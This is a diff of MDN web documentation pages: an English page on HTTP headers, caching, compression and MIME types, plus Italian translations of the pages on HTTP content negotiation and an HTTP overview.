+<p>Starting in Gecko 9.0 {{ geckoRelease("9.0") }}, redirections (such as 301 and 307) that specify a <code>javascript:</code> URI are no longer performed. Instead, a bad connection error is presented. This helps avoid cross-site scripting attacks. See {{ bug(255119) }} if you want more details.</p>
+
+<h2 id="HTTP_headers">HTTP headers</h2>
+
+<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':', then by its value (without CRLF in it). Leading white space before the value is ignored.</p>
+
+<p>Headers are grouped according the context in which they may appear:</p>
+
+<dl>
+ <dt>General headers</dt>
+ <dd>These headers apply to both requests and responses but are unrelated to the data eventually transmitted in the body. They therefore apply only to the message being transmitted. There are only a few of them and new ones cannot be added without increasing the version number of the HTTP protocol. The exhaustive list for HTTP/1.1 is {{ httpheader("Cache-Control") }}, {{ httpheader("Connection") }}, {{ httpheader("Date") }}, {{ httpheader("Pragma") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }}, {{ httpheader("Upgrade") }}, {{ httpheader("Via") }} and {{ httpheader("Warning") }}.</dd>
+ <dt>Request headers</dt>
+ <dd>These headers give more precise information about the resource to be fetched or about the client itself. Among them one can find <a href="/en/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">cache-related headers</a>, transforming a GET method in a conditional GET, like {{ httpheader("If-Modified-Since") }}, user-preference information like {{ httpheader("Accept-Language") }} or {{ httpheader("Accept-Charset") }} or plain client information like {{ httpheader("User-Agent") }}. New request headers cannot officially be added without increasing the version number of the HTTP protocol. But, it is common for new request headers to be added if both the server and the client agree on their meaning. In that case, a client should not assume that they will be handled adequately by the server; unknown request headers are handled as <em>entity headers</em>.</dd>
+ <dt>Response headers</dt>
+ <dd>These headers give more information about the resource sent back, like its real location ({{ httpheader("Location") }}) or about the server itself, like its name and version ({{ httpheader("Server") }}). New response headers cannot be added without increasing the version number of the HTTP protocol. But, it is common for new response headers to be added if both the server and the client agree on their meaning. In that case, a server should not assume that they will be handled adequately by the client ; unknown response headers are handled as <em>entity headers</em>.</dd>
+ <dt>Entity headers</dt>
+ <dd>These headers give more information about the body of the entity, like its length ({{ httpheader("Content-Length") }}), an identifying hash ({{ httpheader("Content-MD5") }}), or its MIME-type ({{ httpheader("Content-Type") }}). New entity headers can be added without increasing the version number of the HTTP protocol.</dd>
+</dl>
+
+<p>Headers can also be grouped according to how caching and non-caching proxies handle them:</p>
+
+<dl>
+ <dt>End-to-end headers</dt>
+ <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request message or the client for a response message. Such a header means that intermediate proxies must retransmit it unmodified and also that caches must store it.</dd>
+ <dt>Hop-by-hop headers</dt>
+ <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailers") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd>
+</dl>
+
+<p>In order to learn about the specific semantic of each header, see its entry in the <a href="/en/HTTP/Headers" title="en/HTTP/Headers">comprehensive list of HTTP headers</a>.</p>
+
+<h3 id="Useful_request_headers">Useful request headers</h3>
+
+<p>Among the numerous <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTP request headers</a>, several are especially useful when set correctly. If you are building your own requests, by using <code><a href="/en/DOM/XMLHttpRequest" title="en/XMLHTTPRequest">XMLHTTPRequest</a></code> or when writing an extension and sending <a href="/en/Setting_HTTP_request_headers" title="en/Setting HTTP request headers">custom HTTP requests via XPCOM</a>, then it is important to ensure the presence of headers that are often set by browsers based on the preferences of the user.</p>
+
+<dl>
+ <dt>Controlling the language of the resource</dt>
+ <dd>Most user-agents, like Firefox, allow the user to set a preference for the language for receiving a resource. The browser translate this into an {{ httpheader("Accept-Language") }} header. It is good practice for web developers, when building specific HTTP requests, to include such a header too.</dd>
+ <dt>Using conditional GET</dt>
+ <dd>Caching is a major tool to accelerate the display of web pages. Even when parts of a webpage are refreshed via an <code><a href="/en/DOM/XMLHttpRequest" title="en/XMLHTTPRequest">XMLHTTPRequest</a></code>:, it is a good idea to use the {{ httpheader("If-Modified-Since") }} header (and other similar ones) in order to fetch the new content only if it has changed. This approach lowers the burden on the network.</dd>
+</dl>
+
+<h3 id="Useful_response_headers">Useful response headers</h3>
+
+<p>The configuration of a web server is a critical part to ensure good performance and optimal security of a web site. Among the <a href="/en/HTTP/Headers" title="en/HTTP/Headers">numerous HTTP response headers</a>, several are of specific importance and should be configured on the server</p>
+
+<h4 id="Restricting_framing">Restricting framing</h4>
+
+<p>Several cross-site scripting (XSS) attacks take advantage of the ability to put third-party content inside an {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. In order to mitigate that risk, modern browsers have introduced the <code><a href="/en/Security/CSP/CSP_policy_directives#frame-ancestors" title="en/The X-FRAME-OPTIONS response header">CSP frame-ancestors directive</a></code>. By setting it with the value <code>'none'</code>, it prevents the browser from displaying this resource inside of a frame. Using it on critical resources (like those containing a formularies or critical information) will reduce the risk caused by XSS attacks. Note that this specific HTTP response header is not the only way to mitigate XSS risks; other techniques, like setting some <a href="/en/Security/CSP/Introducing_Content_Security_Policy" title="en/Security/CSP/Introducing Content Security Policy">Content Security Policies</a>, may be helpful too.</p>
+
+<h4 id="Compression">Compression</h4>
+
+<p>Minimizing the amount of data transferred accelerates the display of a web page. Though most techniques, like <a href="/en/CSS/CSS_Sprites" title="en/CSS/CSS Sprites">CSS Sprites</a>, should be applied on the site itself, compression of data must be set at the web server level. If set, resources requested by the client with an {{ httpheader("Accept-Encoding") }} request header are compressed using the appropriate method and sent back with a {{ httpheader("Content-Encoding") }} response header. Setting these in Apache 2 servers is done by using the <a class="external" href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html" title="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html">mod_deflate module</a>.</p>
+
+<div class="note"><strong>Note:</strong> Be aware that not all data formats can be efficiently compressed. Already-compressed media data, like JPEG images or most audio and video formats, do not shrink using another pass of compression. In fact, they often become larger due to the overhead of the compression method. It is important not to try to compress these resource types any further; there is no advantage in size and the compression/decompression mechanism is resource-intensive.</div>
+
+<h4 id="Controlling_cache">Controlling cache</h4>
+
+<p><a href="/en/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching</a> is a technique that prevents the same resource from being fetched several times if it hasn't change. Configuring the server with the correct response headers allows the user-agent to adequately cache the data. In order to do that, be sure that:</p>
+
+<ul>
+ <li>Any static resource provides an {{ httpheader("Expires") }} response header that is set to far in the future. That way, the resource may stay in the cache until the user-agent flushes it for its own reasons (like reaching its cache size limit).
+  <div class="note"><strong>Note: </strong>On Apache, use the ExpiresDefault directive in your .htaccess to define a relative expires: <code>ExpiresDefault "access plus 1 month"</code>.</div>
+ </li>
+ <li>Any dynamic resource provides a {{ httpheader("Cache-control") }} response header. Theoretically, any HTTP request done through a <a href="/en/HTTP#Safe_Methods" title="en/HTTP#Safe Methods">safe method</a> (GET or HEAD) or even through a solely <a href="/en/HTTP#Idempotent_Methods" title="en/HTTP#Idempotent Methods">idempotent one</a> (DELETE, PUT) may be cached; but in practice careful study is needed to determine if the caching of the response may lead to inappropriate side-effects.</li>
+</ul>
+
+<h4 id="Setting_the_correct_MIME_types">Setting the correct MIME types</h4>
+
+<p>The MIME type is the mechanism to tell the client the kind of document transmitted: the extension of a file name has no meaning on the web. It is therefore important that the server is correctly set up so that the correct MIME type is transmitted with each document: user-agents often use this MIME-type to determine what default action to do when a resource is fetched.</p>
+
+<div class="note"><strong>Note: </strong>
+
+<ul>
+ <li>On Apache, one can match file extensions with a given MIME type in the .htaccess using the <font face="Verdana,Helvetica,Arial"><span style="font-family: courier new;"><code>AddType</code></span> type directive like</font><code> AddType image/jpeg jpg.</code></li>
+ <li>Most web servers send unknown-type resources using the default <code>application/octet-stream</code> MIME type; for security reasons, most browsers, like Firefox, do not allow setting a custom default action for such resources and force the user to store it to disk in order to use it. Some common cases of often incorrectly configured servers happens for the following file types:
+  <ul>
+   <li>
+    <p>Rar-encoded files. The ideal would be to be able to set the real type of the encoded files; this often is not possible (as it may not be known to the server and these files may contains several resource of different types). In that case, configure the server to send the <code>application/x-rar-compressed </code>MIME type or some users won't be able to define a useful default action for them.</p>
+   </li>
+   <li>
+    <p>Audio and video files. Only resources with the proper MIME Type will be recognized and played, using a {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} elements. Be sure to <a href="/En/Media_formats_supported_by_the_audio_and_video_elements" title="En/Media formats supported by the audio and video elements">use the correct MIME type for audio and video resources</a>.</p>
+   </li>
+   <li>
+    <p>Proprietary file types. Pay special attention when serving a proprietary file type. Be sure not to forget to add an x-prefixed type for it; otherwise, special handling won't be possible. This is especially true with resources using the <a class="external" href="http://en.wikipedia.org/wiki/Keyhole_Markup_Language" title="http://en.wikipedia.org/wiki/Keyhole_Markup_Language">Keyhole Markup Language</a>, which should be served as <code>application/vnd.google-earth.kml+xml </code>for an optimal user experience.</p>
+   </li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/En/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></li>
+ <li>The <a href="/en/HTTP_Pipelining_FAQ" title="https://developer.mozilla.org/en/HTTP_Pipelining_FAQ">HTTP pipelining FAQ</a></li>
+ <li><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li>
+ <li><a href="/en-US/docs/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP Headers</a></li>
+ <li><a href="/en-US/docs/HTTP/Basic_access_authentication" title="/en-US/docs/HTTP/Basic_access_authentication">Basic access authentication</a></li>
+ <li><a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/HTTP"} ) }}</p>
diff --git a/files/it/web/http/negoziazione-del-contenuto/index.html b/files/it/web/http/negoziazione-del-contenuto/index.html
new file mode 100644
index 0000000000..e2be7de758
--- /dev/null
+++ b/files/it/web/http/negoziazione-del-contenuto/index.html
@@ -0,0 +1,143 @@
+---
+title: Negoziazione del contenuto
+slug: Web/HTTP/negoziazione-del-contenuto
+translation_of: Web/HTTP/Content_negotiation
+---
+<div>Nel protocollo <a href="/it-IT/docs/Glossary/HTTP">HTTP</a>, la <em><strong>negoziazione del contenuto</strong></em> è il meccanismo utilizzato per servire diverse rappresentazioni di una risorsa avente medesimo URI, in modo che il programma utente possa specificare quale sia più adatta all'utente (ad esempio, quale lingua di un documento, quale formato immagine o quale codifica del contenuto).</div>
+
+<div class="blockIndicator note">
+<p class="summary">Nota: alcuni svantaggi della negoziazione del contenuto HTTP sono spiegati <a href="https://wiki.whatwg.org/wiki/Why_not_conneg">in una pagina wiki del WHATWG.</a> HTML5 fornisce alternative alla negoziazione del contenuto tramite, ad esempio, l'elemento <a href="/it-IT/docs/Web/HTML/Element/source">&lt;source&gt;</a>.</p>
+</div>
+
+<h2 id="Principi_di_negoziazione_dei_contenuti">Principi di negoziazione dei contenuti</h2>
+
+<p>Uno specifico documento è chiamato <em>risorsa</em>. Quando un client desidera ottenere una risorsa, il client la richiede utilizzando il suo URL. Il server utilizza questo URL per scegliere una delle varianti che fornisce - ogni variante viene chiamata <em>rappresentazione</em> - e restituisce una rappresentazione specifica per il client. La risorsa complessiva, così come ciascuna delle rappresentazioni, ha un URL specifico. Il modo in cui viene scelta una rappresentazione specifica quando la risorsa viene chiamata è determinato dalla <em>negoziazione del contenuto</em> e ci sono diversi modi per negoziare tra il client e il server.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p>
+
+<p>La determinazione della rappresentazione più adatta avviene attraverso uno dei seguenti meccanismi:</p>
+
+<ul>
+ <li>Intestazioni HTTP specifiche da parte del client (<em>negoziazione guidata dal server</em> o <em>negoziazione proattiva</em>), che è il modo standard di negoziare un tipo specifico di risorsa.</li>
+ <li>La restituzione dei <a href="/it-IT/docs/Web/HTTP/Status">codici di risposta HTTP</a> {{HTTPStatus("300")}} (Multiple Choices) o {{HTTPStatus("406")}} (Not Acceptable) dal server (<em>negoziazione guidata dall'agente</em> o <em>negoziazione reattiva</em>), utilizzati come meccanismi di riserva.</li>
+</ul>
+
+<p>Nel corso degli anni sono state avanzate altre proposte di negoziazione dei contenuti, come la <a href="https://tools.ietf.org/html/rfc2295">negoziazione trasparente dei contenuti</a> e l'intestazione <code>Alternates</code>, ma non hanno ottenuto la giusta attenzione e sono state quindi abbandonate.</p>
+
+<h2 id="Negoziazione_dei_contenuti_gestita_dal_server">Negoziazione dei contenuti gestita dal server</h2>
+
+<p>Nella <em>negoziazione del contenuto gestita lato server</em>, o <em>negoziazione proattiva del contenuto</em>, il browser (o qualsiasi altro tipo di user-agent) invia diverse intestazioni HTTP insieme all'URL. Queste intestazioni descrivono la scelta preferita dell'utente. Il server li utilizza come suggerimenti e un algoritmo interno sceglie il contenuto migliore da offrire al client. L'algoritmo è specifico del server e non è definito dallo standard. Vedi, ad esempio, l'<a href="http://httpd.apache.org/docs/current/en/content-negotiation.html#algorithm">algoritmo di negoziazione di Apache</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p>
+
+<p>Lo standard HTTP / 1.1 definisce l'elenco delle intestazioni standard che avviano la negoziazione guidata dal server ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Sebbene in senso stretto {{HTTPHeader ("User-Agent")}} non sia in questo elenco, a volte viene anche utilizzato per inviare una rappresentazione specifica della risorsa richiesta, per quanto questa non sia considerata una buona pratica. Il server utilizza l'intestazione {{HTTPHeader ("Vary")}} per indicare quali intestazioni ha effettivamente utilizzato per la negoziazione del contenuto (o più precisamente le intestazioni di risposta associate), in modo che le cache possano funzionare in modo ottimale.</p>
+
+<p>Oltre a questi, c'è una proposta sperimentale per aggiungere più intestazioni all'elenco delle intestazioni disponibili, chiamate <em>suggerimenti del client</em>. I suggerimenti del client indicano il tipo di dispositivo su cui viene eseguito l'user agent (ad esempio, se si tratta di un computer desktop o di un dispositivo mobile).</p>
+
+<p>Anche se la negoziazione del contenuto guidata dal server è il modo più comune per concordare una rappresentazione specifica di una risorsa, presenta diversi svantaggi:</p>
+
+<ul>
+ <li>Il server non ha una conoscenza totale del browser. Anche con l'estensione dei suggerimenti del client, non ha una conoscenza completa delle capacità del browser. A differenza della negoziazione del contenuto reattivo in cui il client fa la scelta, la scelta del server è sempre piuttosto arbitraria;</li>
+ <li>Le informazioni fornite dal client sono piuttosto dettagliate (la compressione dell'intestazione HTTP / 2 mitiga questo problema) e un rischio per la privacy (impronta digitale HTTP);</li>
+ <li>Poiché vengono inviate diverse rappresentazioni di una determinata risorsa, le cache condivise sono meno efficienti e le implementazioni del server sono più complesse.</li>
+</ul>
+
+<h3 id="Intestazione_Accept">Intestazione Accept</h3>
+
+<p>L’ intestazione {{HTTPHeader("Accept")}} elenca i tipi di risorse media MIME che l’interprete vuole processare. È una lista di elementi MIME separati da virgole, ognuno combinato con un indice di qualità, ovvero un parametro che indica il relativo grado di preferenza tra diversi tipi MIME.</p>
+
+<p>L’ intestazione {{HTTPHeader("Accept")}} è definita dal browser, o da qualunque altro interprete, e può variare in base al contesto, come ottenre una pagina HTML, un'immagine, un video o uno script: diverge quando si ottiene un documento inserito nella barra degli indirizzi, o un elemento linkato via {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }}. I browser sono liberi di usare il valore dell’intestazione che pensano sia il più adeguato; è disponibile una lista di valori standard per I browers più comuni. <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values"> </a> is available.</p>
+
+<h3 id="L’intestazione_Accept-CH_experimental_inline">L’intestazione Accept-CH {{experimental_inline}}</h3>
+
+<div class="note">
+<p>Questa è parte di una tecnologia <strong> sperimentale</strong> chiamata <em>Client Hints</em>. É supportata da Chrome 46 in poi. Il valore Device-Memoryè presente da Chrome 61 in poi.</p>
+</div>
+
+<p>L’header sperimentale {{HTTPHeader("Accept-CH")}}elenca dati di configurazione che possono essere usati dal server per elaborare una risposta appropriate. I valori validi sono:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Valore</th>
+   <th scope="col">Significato</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Device-Memory</code></td>
+   <td>Indica in modo approssimativo la quantità di memoria RAM. Questo valore è un approssimazione ottenuta arrotondando alla potenza di due più vicina e dividendo ciò per 1024. Per esempio, 512 megabytes diventano <code>0.5</code>.</td>
+  </tr>
+  <tr>
+   <td><code>DPR</code></td>
+   <td>Indica la risoluzione del dispositivo del client.</td>
+  </tr>
+  <tr>
+   <td><code>Viewport-Width</code></td>
+   <td>Indica la larghezza dell’area visibile in pixel CSS.</td>
+  </tr>
+  <tr>
+   <td><code>Width</code></td>
+   <td>Indica la reale larghezza di una risorsa (per esempio la larghezza di un’immagine).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="L’intestazione_Accept-Charset">L’intestazione Accept-Charset</h3>
+
+<p>L’ intestazione {{HTTPHeader("Accept-Charset")}} indica al server che tipo di codifica dei caratteri viene accettata dall’interprete. DI solito, è impostata con valori differenti per ogni browser locale, per esempio <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a per l’Europa occidentale.</p>
+
+<p>Essendo UTF-8 molto diffuso e il metodo più usato per la codifica dei caratteri, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy"> e per garantire una maggiore privacy attraverso meno</a> <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy </a>, il browser omette <code>Accept-Charset</code> l’intestazione: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 e Chrome 27 hanno abbandonato questa intestazione.</p>
+
+<h3 id="L’intestazione_Accept-CH-Lifetime">L’intestazione Accept-CH-Lifetime</h3>
+
+<div class="note">
+<p>Questa è parte di una tecnologia <strong> sperimentale</strong> chiamata <em>Client Hints</em>. É supportata da Chrome 61 in poi.</p>
+</div>
+
+<p>L’intestazione {{HTTPHeader("Accept-CH-Lifetime")}} è usata con il valore <code>Device-Memory</code> dell’intestazione <code>Accept-CH</code> e indica il tempo che il dispositivo dovrebbe impiegare per condividere una certa quantità di memoria del dispositivo con il server. Il valore è in millisecondi ed è opzionale.</p>
+
+<h3 id="L’intestazione_Accept-Encoding">L’intestazione Accept-Encoding</h3>
+
+<p>L’intestazione {{HTTPHeader("Accept-Encoding")}} definisce il metodo di compressione utilizzato. Il valore è una lista di fattori q (es.: <code>br, gzip;q=0.8</code>) che indica la priorità del valore di codifica. Il valore di default di <code>identità</code> è quello a proprità più bassa (a meno che non sia specificato diversamente).</p>
+
+<p>La comprensione dei messaggi http è uno dei modi migliori per migliorare le prestazioni di un sito web, esso diminuisce la dimensione dei dati trasmessi permettendo un uso migliore della larghezza di banda; I browser inviano sempre questa intestazone e il server deve essere configurato per addatarsi a tale intestazione ed usare la compressione.</p>
+
+<h3 id="L_intestazione_Accept-Language">L' intestazione Accept-Language</h3>
+
+<p>L'intestazione Accept-Language L'intestazone {{HTTPHeader("Accept-Language")}} indica il linguaggio predefinito dell'utente. E' una lista di valori con fattori di qualità(es.:"de, en;q=0.7"). Un valore di default è spesso deciso a seconda del linguaggio dell'interfaccia grafica dell'interprete, ma la maggior parte dei browser permette di impostare lingue differenti.</p>
+
+<p>A causa dell'aumento dell'uso dei <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> si può usare un valore modificato per identificare l'utente, non è consigliato cambiarlo e un sito web non può fidarsi di questo valore per interpretare la richiesta dell'utente. I Site designers non devono essere troppo scrupolosi nell'usare un interprete attraverso questa intestazione dato che risulterebbe scomodo all'utente:</p>
+
+<ul>
+ <li>Devono sempre fornire un modo per ovviare al linguaggio scelto dal server, ad esempio fornendo una scelta di lingue nel sito. La maggiorparte degli interpreti fornisce un valore di default dell'intestazione <code>Accept-Language</code> adottata in base alla lingua dell' utente che spesso non la cambia, perchè non sa come farlo, o perchè non può, come nel caso di un Internet cafè.</li>
+ <li>Una volta che l'utente ha cambiato la lingua scelta dal server il sito non deve più identificare la lingua e deve usare la lingua esplicitamente scelta. In altre parole, solo la pagina iniziale del sito deve identificare la lingua adatta usando questa intestazione.</li>
+</ul>
+
+<h3 id="Lintestazione_User-Agent">L'intestazione User-Agent </h3>
+
+<div class="note">
+<p>Anche se esistono usi appropriati di questa intastazione per selezionare contenuto, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">è considerata una cattiva abitudine</a> affidarsi ad esso per definire quali funzioni sono supportate dall' interprete.</p>
+</div>
+
+<p>L'intestazione {{HTTPHeader("User-Agent")}} identifica il browser che invia la richiesta. Questa stringa può contenere una lista di <em>product token</em> e <em>commenti</em> separati da spazi.</p>
+
+<p>Un <em>product token</em> è un nome seguito da '<code>/</code>' e un numero di versione, come <code>Firefox/4.0.1</code>. Ci possono essere tanti <em>product token</em> quanti ne vuole l'interprete. Un <em>comment </em>è una stringa qualsiasi delimitata da parentesi. Ovviamente le parentesi non possono essere usate nella stringa. Il formato del commento non è definito da nessuno standard, ma molti browser ci inseriscono molti token, separati da '<code>;</code>'.</p>
+
+<h3 id="Lintestazione_di_risposta_Vary">L'intestazione di risposta Vary </h3>
+
+<p>In contrasto alle precedenti intestazioni <code>Accept-*</code> che sono inviate dal client, l'intestazione  {{HTTPHeader("Vary")}} è inviata dal web server come risposta. Indica la lista delle intestazioni usate dal server durante la fase di negoziazione gestita dal server. L'intestazione è necessaria per informare la cache dei criteri decisionali in modo da replicarli, permettendo alla cache di essere funzionale e prevenendo l'invio di servizi errati all'utente.</p>
+
+<p>Il valore '<code>*</code>' esprime che la fase di negoziazione gestita dal server usa anche informazioni non trasmesse in un'intestazione per scegliere il contenuto appropriato.</p>
+
+<p>L'intestazione <code>Vary</code> è stata aggiunta nella versione HTTP 1.1 ed è necessaria per permettere alle cache di funzionare in modo adeguato. Una cache, per funzionare con la fase di negoziazione gestita dal server necessita di sapere i criteri usati dal server per scegliere il contenuto trasmesso. In questo modo lòa cache può replicare l'argoritmo in modo da fornire contenuti adeguati senza altre richieste al server. Ovviamente il carattere '<code>*</code>' previene la memorizzazione, dato che la cache non conosce che algoritmi ci stanno dietro.</p>
+
+<h2 id="Negoziazione_Agent-driven">Negoziazione Agent-driven</h2>
+
+<p>La negoziazione Server-driven presenta alcuni svantaggi: non è molto scalabile. C'è un'intestazione per ogni funzione/caratteristica usate nella negoziazione. Se vuoi usare risoluzione dello schermo deve essere creata una nuova intestazione HTTP. L'invio delle intestazioni deve essere fatto ad ogni richiest. Questo portebrebbe ad una diminuzione delle performance in caso di molte intestazioni. Più intestazioni specifiche vengono inviate, più il complesso risulta ambiguo, portando a problemi di privacy.</p>
+
+<p>Sin dagli albori di HTTP, il protocollo permette un altro tipo di negoziazione: <em>agent-driven negotiation</em> o <em>reactive negotiation</em>. In questa negoziazione, quando si presenta una richiesta ambigua, il server risponde con una pagina contenente dei link alle risorse alternative disponibili. All'utente vengono presentate le risorse e sceglie quale usare.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p>
+
+<p>Sfortunatamente lo standard HTTP non specifica il formato della pagina, permettendo di scegliere tra le risorse disponobili non permettendo una facile automatizzazione del processo. Inoltre si ricade nella negoziazione <em>server-driven</em>, questo metodo è quasi sempre usato insieme allo scripting, specialmente utilizzando JavaScript per i redirect: dopo aver controllato i criteri di memorizzazione, il codice esegue il redirect. Un secondo problema è che è necessaria una richiesta per ottenere la risorsa, compromettendo la disponibilità della risorsa all'utente.</p>
diff --git a/files/it/web/http/panoramica/index.html b/files/it/web/http/panoramica/index.html
new file mode 100644
index 0000000000..f2cf4c990c
--- /dev/null
+++ b/files/it/web/http/panoramica/index.html
@@ -0,0 +1,176 @@
+---
+title: Una panoramica su HTTP
+slug: Web/HTTP/Panoramica
+tags:
+  - HTTP
+  - Protocolli
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTTP</strong> è</span> un {{Glossary("protocollo")}} che permette il recupero di risorse, come le pagine HTML. <span class="tlid-translation translation" lang="it"><span title="">È il fondamento di ogni scambio di dati sul Web ed è un protocollo client-server,</span></span><span class="tlid-translation translation" lang="it"><span title="">il che significa che le richieste vengono avviate dal destinatario, solitamente il browser Web. </span></span><span class="tlid-translation translation" lang="it"><span title="">Un documento completo viene ricostruito dai diversi sotto-documenti recuperati, ad esempio testo, descrizione del layout, immagini, video, script e altro.</span></span></p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Client e server comunicano scambiando messaggi individuali (al contrario di un flusso di dati).</span> <span title="">I messaggi inviati dal client, solitamente un browser Web, sono chiamati <em>richieste (requests)</em> e i messaggi inviati dal server come risposta sono chiamati <em>risposte</em> (<em>responses</em>).</span></span></p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;"><span class="tlid-translation translation" lang="it"><span title="">Progettato all'inizio degli anni '90 (1990), HTTP è un protocollo estensibile che si è evoluto nel tempo</span></span>. <span class="tlid-translation translation" lang="it"><span title="">È un protocollo a livello di applicazione che viene inviato mediante </span></span>{{Glossary("TCP")}}, o mediante una connessione TCP cifrata {{Glossary("TLS")}}, <span class="tlid-translation translation" lang="it"><span title="">anche se teoricamente potrebbe essere utilizzato qualsiasi protocollo di trasporto affidabile.</span></span> <span class="tlid-translation translation" lang="it"><span title="">Grazie alla sua estensibilità, viene utilizzato non solo per recuperare documenti ipertestuali, ma anche immagini e video o per pubblicare contenuti su server, come con i risultati dei moduli HTML.</span> <span title="">HTTP può essere utilizzato anche per recuperare parti di documenti per aggiornare pagine Web su richiesta.</span></span></p>
+
+<h2 id="Componenti_di_sistemi_basati_su_HTTP"><span class="tlid-translation translation" lang="it"><span title="">Componenti di sistemi basati su HTTP</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">HTTP è un protocollo client-server: le richieste vengono inviate da un'entità, lo user-agent (o un proxy per conto di esso).</span> <span title="">Il più delle volte lo user-agent è un browser Web, ma può essere qualsiasi cosa, ad esempio un robot che esegue la scansione del Web per popolare e mantenere un indice del motore di ricerca.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Ogni singola richiesta viene inviata a un server, che la gestisce e fornisce una risposta, chiamata response.</span> <span title="">Tra il client e il server ci sono numerose entità, chiamate collettivamente </span></span>{{Glossary("Proxy_server", "proxies")}}, <span class="tlid-translation translation" lang="it"><span title="">che eseguono operazioni diverse e fungono da gateway o</span></span> {{Glossary("Cache", "caches")}}, per esempio.</p>
+
+<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">In realtà, ci sono più computer tra un browser e il server che gestisce la richiesta: ci sono router, modem e altro.</span> <span title="">Grazie alla struttura a strati del Web, questi sono nascosti nella rete e nei livelli di trasporto.</span> <span title="">L'HTTP è in cima, a livello applicazione.</span> <span title="">Sebbene importanti per diagnosticare i problemi di rete, i livelli sottostanti sono per lo più irrilevanti per la descrizione di HTTP.</span></span></p>
+
+<h3 id="Client_lo_user-agent">Client: lo user-agent</h3>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Lo user-agent è qualsiasi strumento che agisce per conto dell'utente.</span> <span title="">Questo ruolo viene svolto principalmente dal browser Web;</span> <span title="">altre possibilità sono i programmi utilizzati da ingegneri e sviluppatori Web per eseguire il debug delle loro applicazioni.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Il browser è <strong>sempre</strong> l'entità che avvia la richiesta.</span> <span title="">Non è mai il server (sebbene nel corso degli anni siano stati aggiunti alcuni meccanismi per simulare i messaggi avviati dal server).</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Per presentare una pagina Web, il browser invia una richiesta iniziale per recuperare il documento HTML che rappresenta la pagina.</span> <span title="">Quindi analizza questo file, effettuando richieste aggiuntive corrispondenti a script di esecuzione, informazioni sul layout (CSS) da visualizzare e sotto-risorse contenute all'interno della pagina (solitamente immagini e video).</span></span> <span class="tlid-translation translation" lang="it"><span title="">Il browser Web quindi compone queste risorse per presentare all'utente un documento completo, la pagina Web.</span> <span title="">Gli script eseguiti dal browser possono recuperare più risorse nelle fasi successive e il browser aggiorna la pagina Web di conseguenza.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Una pagina Web è un documento ipertestuale.</span> <span title="">Ciò significa che alcune parti del testo visualizzato sono collegamenti che possono essere attivati (di solito con un clic del mouse) per recuperare una nuova pagina Web, consentendo all'utente di dirigere il proprio user-agent e navigare nel Web.</span> <span title="">Il browser traduce queste indicazioni in richieste HTTP e interpreta ulteriormente le risposte HTTP per presentare all'utente una risposta chiara.</span></span></p>
+
